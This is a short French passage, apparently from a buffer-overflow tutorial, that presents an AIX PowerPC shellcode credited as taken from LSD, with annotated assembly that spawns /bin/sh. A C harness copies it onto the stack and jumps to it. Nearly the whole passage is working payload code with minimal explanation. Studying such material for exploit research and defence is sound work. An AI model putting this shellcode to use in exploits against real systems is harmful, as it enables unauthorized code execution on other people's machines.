1.2 BOF sur AIX

Exemple d'un shellcode sur AIX

 /* shellcode.c

 *  ripped from lsd
 
 */

  char shellcode[] =   /* 12*4+8 bytes       */

 "\x7c\xa5\x2a\x79" /* xor.  r5,r5,r5     */ [L1]

 "\x40\x82\xff\xfd" /* bnel  <shellcode>  */ [L2]

 "\x7f\xe8\x02\xa6" /* mflr  r31          */ [L3]

 "\x3b\xff\x01\x20" /* cal   r31,288(r31) */ [L4]

 "\x38\x7f\xff\x08" /* cal   r3,-248(r31) */

 "\x38\x9f\xff\x10" /* cal   r4,-240(r31) */

 "\x90\x7f\xff\x10" /* st    r3,-240(r31) */

 "\x90\xbf\xff\x14" /* st    r5,-236(r31) */

 "\x88\x5f\xff\x0f" /* lbz   r2,-241(r31) */

 "\x98\xbf\xff\x0f" /* stb   r5,-241(r31) */ [L10]

 "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6  */ [L11]

 "\x44\xff\xff\x02" /* svca               */ [L12]

 "/bin/sh"

 "\x06";

 ;
int main(void)
{

 char burp[256];


 // On veut etre sur d'etre en stack

 memcpy(burp, shellcode, sizeof(shellcode)); 

 int jump[2]={(int)burp,0};

 ((*(void (*)())jump)());
}